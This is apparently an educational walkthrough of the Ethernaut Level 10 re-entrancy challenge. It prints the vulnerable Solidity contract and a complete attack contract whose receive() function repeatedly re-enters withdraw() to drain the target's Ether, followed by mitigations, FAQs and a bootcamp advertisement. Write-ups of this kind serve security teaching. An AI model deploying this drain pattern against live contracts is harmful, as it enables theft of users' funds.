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Ethernaut Level 10 Walkthrough: Re-entrancy

Understanding re-entrancy is crucial for anyone developing or auditing Ethereum smart contracts. Failure to properly handle re-entrant calls can result in the loss of funds or the manipulation of contract state by malicious actors. By learning about re-entrancy and how to mitigate its risks, especially through practical challenges like Ethernaut Level 10 walkthrough, developers can significantly enhance the security of their smart contracts.

Ethernaut Challenge 10: A Case Study

ethernaut level 10
walkthrough
ethernaut challenge

To illustrate the concept of re-entrancy, let’s examine a solution to Ethernaut Challenge 10. In this challenge, participants are tasked with exploiting a vulnerable contract that allows for re-entrant calls during a withdrawal function.

The Vulnerable Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Pay attention to the withdraw function. The function calls an external function before it updates its internal state. This provides an opportunity for a malicious attack on the contract.

Examining the Contract

The crux of this challenge lies in understanding the workings of the Reentrance contract. Let’s dissect its key components:

  • State Variables:
  mapping(address => uint) public balances;

Stores user balances to facilitate withdrawals.

  • Functions:
    • donate: Allows users to donate ETH to another address. function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } This function updates the balance of the recipient address with the donated ETH.
    • balanceOf: Retrieves the balance of a specific address. function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } Simply returns the balance of the queried address.
    • receive: Enables the contract to receive arbitrary amounts of ETH. receive() external payable {} This function is a potential gateway for re-entrancy attacks due to its ability to execute arbitrary code.
    • withdraw: Facilitates withdrawals of ETH by users.
      solidity function withdraw(uint256 _amount) public { if (balances[msg.sender] >= _amount) { (bool result ) = msg.sender.call{value: _amount}(""); if (result) { _amount; } balances[msg.sender] -= _amount; } }
      This function allows users to withdraw ETH, but it’s vulnerable to reentrancy attacks due to its flawed design.

The Solution: Attack Contract

The attack contract can be implemented in many ways. Here’s a breakdown of the key components:

interface IReentrance {
  function donate(address) external payable;
  function withdraw(uint256) external;
}

contract Attack {
  IReentrance target;

  constructor(address payable _target) {
    target = IReentrance(_target);
  }

  function donate() external payable {
    target.donate{value: msg.value}(address(this));
  }

  function attack() external {
    target.withdraw(0.001 ether);
  }

  receive() external payable {
    if (address(target).balance > 0) {
      target.withdraw(0.001 ether);
    }
  }

  function withdraw() external {
    msg.sender.call{value: address(this).balance}("");
  }
}

Explanation:

  • Interface:
  interface IReentrance {
    function donate(address) external payable;
    function withdraw(uint256) external;
  }

The attack contract interfaces with the vulnerable contract using the IReentrance interface, which defines the donate and withdraw functions.

  • Constructor:
  constructor(address payable _target) {
    target = IReentrance(_target);
  }

Initializes the target contract address.

  • Donation:
  function donate() external payable {
    target.donate{value: msg.value}(address(this));
  }

Allows anyone to send Ether to the target contract. This is necessary to be able to attack the contract.

  • Attack:
  function attack() external {
    target.withdraw(0.001 ether);
  }

Because we already donated some funds, we can now freely call the withdraw function. The attack function calls the target contract’s withdraw function, starting the exploitation of the re-entrancy vulnerability.

  • Fallback Function:
  receive() external payable {
    if (address(target).balance > 0) {
      target.withdraw(0.001 ether);
    }
  }

When we call the victim contract’s withdraw function, our (Attack) contract’s fallback function is invoked when the target contract sends Ether back, allowing for further re-entrant calls.

  • Withdraw:
  function withdraw() external {
    msg.sender.call{value: address(this).balance}("");
  }

Once drained, we can now withdraw the funds from our attack contract.

Avoiding Re-entrancy

  1. Use the Checks-Effects-Interactions Pattern:
    Follow the principle of performing all necessary checks first, then executing state updates, emitting events, and finally interacting with external contracts. This ensures that critical state changes are made before any external interactions, reducing the likelihood of re-entrancy exploits.
  1. Implement Re-entrancy Guards:
    Utilize dedicated libraries like OpenZeppelin’s ReentrancyGuard, which provides a simple modifier to protect functions from re-entrancy attacks. These guards ensure that functions can only be called once, preventing recursive calls and potential re-entrancy exploits.
  1. Avoid External Calls Before State Changes:
    If external calls are necessary, ensure that they occur after all state changes have been applied. This prevents attackers from exploiting inconsistencies in contract state during re-entrant calls.
  1. Thorough Testing and Auditing:
    Conduct comprehensive testing, including both unit tests and integration tests, to identify and mitigate potential re-entrancy vulnerabilities. Engage in code reviews and security audits by experienced professionals to uncover any overlooked vulnerabilities and ensure the robustness of your contract code.
  1. Stay Informed and Updated:
    Keep abreast of the latest developments in Ethereum smart contract security and best practices. Regularly update your contracts and dependencies to leverage improvements and patches that address known vulnerabilities, including those related to re-entrancy.

By incorporating these practices into your smart contract development workflow, you can significantly reduce the risk of re-entrancy exploits and enhance the security of your decentralized applications. Remember that security is an ongoing process, and vigilance is key to maintaining the integrity of your contracts in the ever-evolving landscape of blockchain technology.

Conclusion: Ethernaut Level 10

Understanding and mitigating re-entrancy vulnerabilities is essential for the secure development and auditing of Ethereum smart contracts. Practical challenges like Ethernaut Level 10 provide hands-on experience with real-world scenarios where re-entrancy attacks can happen. By using best practices such as the Checks-Effects-Interactions pattern, re-entrancy guards, and thorough testing and auditing, developers can reduce the risk of these exploits.

Staying informed about the latest security developments and regularly updating contract code is crucial in maintaining the integrity and security of decentralized applications. Prioritizing security and vigilance helps ensure robust protection against malicious actors and enhances the trustworthiness of smart contracts.

faq

FAQs

What is the DAO hack, and how did it impact the Ethereum ecosystem?

  • The DAO hack occurred in 2016 when an attacker exploited a re-entrancy vulnerability in the DAO smart contract, draining approximately one-third of the funds raised through the DAO’s crowd sale. This exploit resulted in a contentious hard fork of the Ethereum blockchain to reverse the stolen funds, leading to the creation of Ethereum Classic.

How can developers identify re-entrancy vulnerabilities in their smart contracts during the development process?

  • Developers can identify re-entrancy vulnerabilities by conducting thorough code reviews, performing static analysis using tools like MythX or Slither, and conducting comprehensive unit and integration tests. Additionally, developers can use automated security scanners and auditing services to identify potential vulnerabilities in their contracts.

How do re-entrancy vulnerabilities differ from other types of vulnerabilities in smart contracts?

  • Re-entrancy vulnerabilities differ from other types of vulnerabilities in smart contracts in that they involve recursive calls to functions that modify contract state. While other vulnerabilities may involve incorrect logic or insecure implementation practices, re-entrancy vulnerabilities specifically exploit the order of execution in contract functions to manipulate state or steal funds.

How are fallback and receive functions related to re-entrancy vulnerabilities in smart contracts?

  • Fallback and receive functions can serve as entry points for re-entrancy attacks in smart contracts. These functions are invoked when a contract receives Ether without specifying a function to call, providing an opportunity for malicious actors to execute arbitrary code, including recursive calls to the contract’s functions.

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You’re guaranteed a new job in web3—or you’ll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

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Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

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